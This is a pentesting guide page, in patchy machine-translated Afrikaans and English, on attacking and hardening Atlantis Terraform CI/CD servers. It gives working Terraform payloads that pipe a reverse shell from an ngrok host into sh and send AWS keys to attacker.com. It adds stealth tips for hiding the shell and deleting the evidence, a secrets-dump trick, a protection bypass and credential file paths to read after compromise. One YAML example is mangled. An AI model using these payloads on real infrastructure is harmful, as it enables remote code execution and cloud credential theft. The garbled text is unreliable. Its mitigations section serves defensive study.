hacktricks-cloud/src/pentesting-ci-cd/atlantis-security.md

Atlantis Security

{{#include ../banners/hacktricks-training.md}}

Basic Information

Atlantis help jou basies om terraform vanaf Pull Requests van jou git bediener te laat loop.

Local Lab

1. Gaan na die atlantis releases page in https://github.com/runatlantis/atlantis/releases en aflaai die een wat vir jou geskik is.
2. Skep 'n persoonlike token (met repo toegang) van jou github gebruiker.
3. Voer ./atlantis testdrive uit en dit sal 'n demo repo skep wat jy kan gebruik om met atlantis te praat.
4. Jy kan die webblad in 127.0.0.1:4141 toegang.

Atlantis Access

Git Server Credentials

Atlantis ondersteun verskeie git gasheer soos Github, Gitlab, Bitbucket en Azure DevOps.
Echter, om toegang tot die repos in daardie platforms te verkry en aksies uit te voer, moet dit 'n paar privileged access granted to them hê (ten minste skryf regte).
Die docs moedig aan om 'n gebruiker in hierdie platforms spesifiek vir Atlantis te skep, maar sommige mense mag persoonlike rekeninge gebruik.

Warning

In enige geval, vanuit 'n aanvaller se perspektief, gaan die Atlantis rekening een baie interessante te kompromitteer wees.

Webhooks

Atlantis gebruik opsioneel Webhook secrets om te verifieer dat die webhooks wat dit van jou Git gasheer ontvang legitiem is.

Een manier om dit te bevestig, sou wees om toestemming te gee dat versoeke slegs van die IP's van jou Git gasheer kom, maar 'n makliker manier is om 'n Webhook Secret te gebruik.

Let daarop dat tensy jy 'n private github of bitbucket bediener gebruik, jy webhook eindpunte aan die internet moet blootstel.

Warning

Atlantis gaan webhooks blootstel sodat die git bediener dit inligting kan stuur. Vanuit 'n aanvaller se perspektief sou dit interessant wees om te weet of jy dit boodskappe kan stuur.

Provider Credentials

Van die docs:

Atlantis loop Terraform deur eenvoudig terraform plan en apply op die bediener waarop Atlantis gehoste is uit te voer. Net soos wanneer jy Terraform plaaslik loop, benodig Atlantis credentials vir jou spesifieke verskaffer.

Dit is aan jou hoe jy credentials verskaf vir jou spesifieke verskaffer aan Atlantis:

• Die Atlantis Helm Chart en AWS Fargate Module het hul eie meganismes vir verskaffer credentials. Lees hul docs.
• As jy Atlantis in 'n wolk loop, het baie wolke maniere om wolk API toegang aan toepassings wat daarop loop te gee, bv:
• AWS EC2 Roles (Soek vir "EC2 Role")
• GCE Instance Service Accounts
• Baie gebruikers stel omgewing veranderlikes in, bv. AWS_ACCESS_KEY, waar Atlantis loop.
• Ander skep die nodige konfigurasie lêers, bv. ~/.aws/credentials, waar Atlantis loop.
• Gebruik die HashiCorp Vault Provider om verskaffer credentials te verkry.

Warning

Die container waar Atlantis loop, gaan hoogs waarskynlik privileged credentials vir die verskaffers (AWS, GCP, Github...) wat Atlantis via Terraform bestuur, bevat.

Web Page

Standaard sal Atlantis 'n webblad in die poort 4141 in localhost laat loop. Hierdie bladsy laat jou net toe om atlantis apply in te skakel/af te skakel en die planstatus van die repos te kontroleer en hulle te ontgrendel (dit laat nie toe om dinge te wysig nie, so dit is nie so nuttig nie).

Jy sal waarskynlik nie vind dat dit aan die internet blootgestel is nie, maar dit lyk asof standaard geen credentials benodig word om toegang te verkry nie (en as hulle is, is atlantis:atlantis die standaard een).

Server Configuration

Konfigurasie vir atlantis server kan gespesifiseer word via opdraglyn vlae, omgewing veranderlikes, 'n konfigurasie lêer of 'n mengsel van die drie.

• Jy kan hier die lys van vlae wat deur Atlantis bediener ondersteun word, vind.
• Jy kan hier vind hoe om 'n konfigurasie opsie in 'n omgewing veranderlike te transformeer

Waardes word in hierdie volgorde gekies:

1. Vlae
2. Omgewing Veranderlikes
3. Konfigurasie Lêer

Warning

Let daarop dat jy in die konfigurasie dalk interessante waardes soos tokens en wagwoorde mag vind.

Repos Configuration

Sommige konfigurasies beïnvloed hoe die repos bestuur word. Dit is egter moontlik dat elke repo verskillende instellings vereis, so daar is maniere om elke repo te spesifiseer. Dit is die prioriteitsorde:

1. Repo /atlantis.yml lêer. Hierdie lêer kan gebruik word om te spesifiseer hoe atlantis die repo moet hanteer. Echter, standaard kan sommige sleutels nie hier gespesifiseer word nie sonder sommige vlae wat dit toelaat.
2. Waarskynlik vereis om toegelaat te word deur vlae soos allowed_overrides of allow_custom_workflows.
3. Server Side Config: Jy kan dit met die vlag --repo-config deurgee en dit is 'n yaml wat nuwe instellings vir elke repo konfigureer (regexes ondersteun).
4. Standaard waardes.

PR Protections

Atlantis laat toe om aan te dui of jy wil hê die PR moet goedgekeur word deur iemand anders (selfs al is dit nie in die tak beskerming ingestel nie) en/of mergeable wees (tak beskermings geslaag) voor die uitvoering van apply. Vanuit 'n sekuriteitsoogpunt is dit aanbeveel om albei opsies in te stel.

In die geval dat allowed_overrides waar is, kan hierdie instellings oor geskryf word op elke projek deur die /atlantis.yml lêer.

Scripts

Die repo konfigurasie kan scripts spesifiseer om voor (pre workflow hooks) en na (post workflow hooks) 'n workflow uitgevoer word.

Daar is geen opsie om te spesifiseer hierdie scripts in die repo /atlantis.yml lêer nie.

Workflow

In die repo konfigurasie (bediener kant konfigurasie) kan jy 'n nuwe standaard workflow spesifiseer, of nuwe persoonlike workflows skep. Jy kan ook spesifiseer watter repos toegang kan hê tot die nuwe wat gegenereer is.
Dan kan jy die atlantis.yaml lêer van elke repo toelaat om die workflow te spesifiseer wat gebruik moet word.

Caution

As die server side config vlag allow_custom_workflows op Waar gestel is, kan workflows in die atlantis.yaml lêer van elke repo gespesifiseer word. Dit is ook potensieel nodig dat allowed_overrides ook workflow spesifiseer om die workflow wat gebruik gaan word te oor te skryf.
Dit sal basies RCE in die Atlantis bediener aan enige gebruiker wat toegang tot daardie repo kan kry, gee.

# atlantis.yaml

version: 3
projects:

- dir: .
  workflow: custom1
  workflows:
  custom1:
  plan:
  steps: - init - run: my custom plan command
  apply:
  steps: - run: my custom apply command

Conftest Policy Checking

Atlantis ondersteun die uitvoering van server-side conftest beleide teen die plan uitvoer. Algemene gebruiksgevalle vir die gebruik van hierdie stap sluit in:

• Ontkenning van die gebruik van 'n lys van modules.
• Bevestiging van eienskappe van 'n hulpbron tydens die skepping.
• Vang onbedoelde hulpbron verwyderings.
• Voorkoming van sekuriteitsrisiko's (bv. blootstelling van veilige poorte aan die publiek).

Jy kan kyk hoe om dit te konfigureer in die docs.

Atlantis Commands

In die docs kan jy die opsies vind wat jy kan gebruik om Atlantis te laat loop:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Aanvalle

Warning

As jy tydens die ontginning hierdie fout vind: Error: Error acquiring the state lock

Jy kan dit regmaak deur te loop:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Konfigurasie wysiging in nuwe PR

As jy skrywe toegang oor 'n repository het, sal jy in staat wees om 'n nuwe tak daarop te skep en 'n PR te genereer. As jy atlantis plan kan uitvoer (of miskien word dit outomaties uitgevoer), sal jy in staat wees om RCE binne die Atlantis bediener te hê.

Jy kan dit doen deur Atlantis 'n eksterne databron te laat laai. Sit net 'n payload soos die volgende in die main.tf-lêer:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Stealthier Aanval

You can perform this attack even in a stealthier way, by following this suggestions:

• Instead of adding the rev shell directly into the terraform file, you can load an external resource that contains the rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

You can find the rev shell code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

• In die eksterne hulpbron, gebruik die ref kenmerk om die terraform rev shell code in 'n tak binne die repo te verberg, iets soos: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
• In plaas daarvan om 'n PR na master te skep om Atlantis te aktiveer, skep 2 takke (test1 en test2) en skep 'n PR van een na die ander. Wanneer jy die aanval voltooi het, verwyder eenvoudig die PR en die takke.

Atlantis plan Secrets Dump

You can dump secrets used by terraform running atlantis plan (terraform plan) by putting something like this in the terraform file:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - Konfigurasie wysiging in nuwe PR

As jy skrywe toegang oor 'n repository het, sal jy in staat wees om 'n nuwe tak daarop te skep en 'n PR te genereer. As jy atlantis apply kan uitvoer, sal jy in staat wees om RCE binne die Atlantis bediener te hê.

Jy sal egter gewoonlik sommige beskermings moet omseil:

• Mergeable: As hierdie beskerming in Atlantis gestel is, kan jy slegs atlantis apply uitvoer as die PR mergeable is (wat beteken dat die tak beskerming omseil moet word).
• Kontroleer potensiële tak beskerming omseilings
• Goedgekeurd: As hierdie beskerming in Atlantis gestel is, moet 'n ander gebruiker die PR goedkeur voordat jy atlantis apply kan uitvoer.
• Standaard kan jy die Gitbot token misbruik om hierdie beskerming om te seil

Voer terraform apply uit op 'n kwaadwillige Terraform-lêer met local-exec.
Jy moet net seker maak dat 'n payload soos die volgende in die main.tf lêer eindig:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Volg die voorstelle van die vorige tegniek om hierdie aanval op 'n stealthier manier uit te voer.

Terraform Param Injection

Wanneer jy atlantis plan of atlantis apply uitvoer, word terraform onder-needs uitgevoer, jy kan opdragte aan terraform deur atlantis deur iets soos te kommentaar:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in https://www.terraform.io/cli/config/environment-variables

Custom Workflow

Running malicious custom build commands specified in an atlantis.yaml file. Atlantis uses the atlantis.yaml file from the pull request branch, not of master.
This possibility was mentioned in a previous section:

Caution

If the server side config flag allow_custom_workflows is set to True, workflows can be gespesifiseer in the atlantis.yaml file of each repo. It's also potentially needed that allowed_overrides specifies also workflow to oorheers die werkvloei that is going to be used.

This will basically give RCE in the Atlantis server to any user that can access that repo.

# atlantis.yaml
version: 3
projects:
  - dir: .
    workflow: custom1
workflows:
  custom1:
    plan:
      steps:
        - init
        - run: my custom plan command
    apply:
      steps:
        - run: my custom apply command

Bypass plan/apply protections

If the server side config flag allowed_overrides het apply_requirements configured, it's possible for a repo to wysig die plan/apply beskerming om dit te omseil.

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

As iemand atlantis plan/apply kommentaar op jou geldige pull requests stuur, sal dit veroorsaak dat terraform loop wanneer jy nie wil hê dit moet nie.

Boonop, as jy nie in die branch protection gekonfigureer het om te vra om elke PR te herwaardeer wanneer 'n nuwe commit gestuur word nie, kan iemand kwaadwillige konfigurasies skryf (kyk vorige scenario's) in die terraform konfigurasie, atlantis plan/apply uitvoer en RCE verkry.

Dit is die instelling in Github branch protections:

Webhook Secret

As jy daarin slaag om die webhook secret te steel of as daar geen webhook secret gebruik word nie, kan jy die Atlantis webhook aanroep en atlatis opdragte direk aanroep.

Bitbucket

Bitbucket Cloud ondersteun nie webhook secrets nie. Dit kan aanvallers toelaat om versoekte van Bitbucket te spoof. Verseker dat jy slegs Bitbucket IP's toelaat.

• Dit beteken dat 'n aanvaller valse versoeke aan Atlantis kan maak wat lyk asof dit van Bitbucket kom.
• As jy --repo-allowlist spesifiseer, kan hulle slegs valse versoeke rakende daardie repos maak, so die meeste skade wat hulle kan aanrig, sal wees om te plan/apply op jou eie repos.
• Om dit te voorkom, toelaat Bitbucket se IP adresse (kyk Uitgaande IPv4 adresse).

Post-Exploitation

As jy daarin geslaag het om toegang tot die bediener te verkry of ten minste jy het 'n LFI, is daar 'n paar interessante dinge wat jy moet probeer lees:

• /home/atlantis/.git-credentials Bevat vcs toegang akkrediteer
• /atlantis-data/atlantis.db Bevat vcs toegang akkrediteer met meer inligting
• /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform staat lêer
• Voorbeeld: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
• /proc/1/environ Omgewings veranderlikes
• /proc/[2-20]/cmdline Cmd lyn van atlantis server (kan sensitiewe data bevat)

Mitigations

Moet nie op Publieke Repos Gebruik nie

Omdat enigiemand kommentaar op publieke pull requests kan lewer, selfs met al die sekuriteitsmitigaties beskikbaar, is dit steeds gevaarlik om Atlantis op publieke repos te laat loop sonder behoorlike konfigurasie van die sekuriteitsinstellings.

Moet nie --allow-fork-prs Gebruik nie

As jy op 'n publieke repo (wat nie aanbeveel word nie, kyk bo) loop, moet jy nie --allow-fork-prs stel nie (standaard is vals) omdat enigiemand 'n pull request van hul fork na jou repo kan oopmaak.

--repo-allowlist

Atlantis vereis dat jy 'n allowlist van repositories spesifiseer waarvan dit webhooks sal aanvaar via die --repo-allowlist vlag. Byvoorbeeld:

• Spesifieke repositories: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
• Jou hele organisasie: --repo-allowlist=github.com/runatlantis/*
• Elke repository in jou GitHub Enterprise installasie: --repo-allowlist=github.yourcompany.com/*
• Alle repositories: --repo-allowlist=*. Nuttig wanneer jy in 'n beskermde netwerk is, maar gevaarlik sonder om ook 'n webhook secret in te stel.

Hierdie vlag verseker dat jou Atlantis installasie nie gebruik word met repositories wat jy nie beheer nie. Kyk na atlantis server --help vir meer besonderhede.

Beskerm Terraform Beplanning

As aanvallers pull requests met kwaadwillige Terraform kode indien in jou bedreigingsmodel, moet jy bewus wees dat terraform apply goedkeuringe nie genoeg is nie. Dit is moontlik om kwaadwillige kode in 'n terraform plan te loop deur die external data source of deur 'n kwaadwillige verskaffer te spesifiseer. Hierdie kode kan dan jou akkrediteer uitvreet.

Om dit te voorkom, kan jy:

1. Verskaffers in die Atlantis beeld bak of gasheer en egress in produksie ontken.
2. Die verskaffer registrasie protokol intern implementeer en publieke egress ontken, sodat jy beheer wie skrywe toegang tot die registrasie het.
3. Jou server-side repo konfigurasie's plan stap wysig om te valideer teen die gebruik van verbode verskaffers of data bronne of PR's van nie toegelate gebruikers. Jy kan ook ekstra validasie by hierdie punt voeg, bv. vereis 'n "duim-op" op die PR voordat jy die plan toelaat om voort te gaan. Conftest kan hier nuttig wees.

Webhook Secrets

Atlantis moet met Webhook secrets gedraai word wat via die $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET omgewingsveranderlikes ingestel is. Selfs met die --repo-allowlist vlag ingestel, kan aanvallers versoeke aan Atlantis maak wat as 'n repository wat toegelaat is, voorgee. Webhook secrets verseker dat die webhook versoeke werklik van jou VCS verskaffer (GitHub of GitLab) kom.

As jy Azure DevOps gebruik, voeg in plaas van webhook secrets 'n basiese gebruikersnaam en wagwoord by.

Azure DevOps Basiese Verifikasie

Azure DevOps ondersteun die stuur van 'n basiese verifikasie kop in alle webhook gebeurtenisse. Dit vereis die gebruik van 'n HTTPS URL vir jou webhook ligging.

SSL/HTTPS

As jy webhook secrets gebruik, maar jou verkeer is oor HTTP, kan die webhook secrets gesteel word. Aktiveer SSL/HTTPS met die --ssl-cert-file en --ssl-key-file vlag.

Aktiveer Verifikasie op Atlantis Webbediener

Dit word baie aanbeveel om verifikasie in die webdiens te aktiveer. Aktiveer BasicAuth met die --web-basic-auth=true en stel 'n gebruikersnaam en 'n wagwoord op met die --web-username=yourUsername en --web-password=yourPassword vlag.

Jy kan ook hierdie as omgewingsveranderlikes deurgee ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername en ATLANTIS_WEB_PASSWORD=yourPassword.

References

• https://www.runatlantis.io/docs
• https://www.runatlantis.io/docs/provider-credentials.html

{{#include ../banners/hacktricks-training.md}}